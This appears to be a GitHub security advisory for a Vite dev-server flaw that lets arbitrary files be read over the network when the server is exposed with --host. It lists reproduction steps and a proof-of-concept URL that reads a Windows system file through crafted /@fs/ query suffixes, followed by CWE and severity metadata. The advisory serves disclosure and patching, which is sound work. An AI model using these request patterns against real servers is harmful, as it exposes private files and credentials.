The contents of arbitrary files can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host or <code>server.host</code> config option) are affected.
?inline&import (originally reported as ?import&?inline=1.wasm?init)?raw?import/@fs/ isn't needed to reproduce the issue for files inside the project root.
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
{
"github_reviewed": true,
"cwe_ids": [
"CWE-200",
"CWE-284"
],
"github_reviewed_at": "2025-03-31T17:31:54Z",
"nvd_published_at": "2025-03-31T17:15:43Z",
"severity": "MODERATE"
}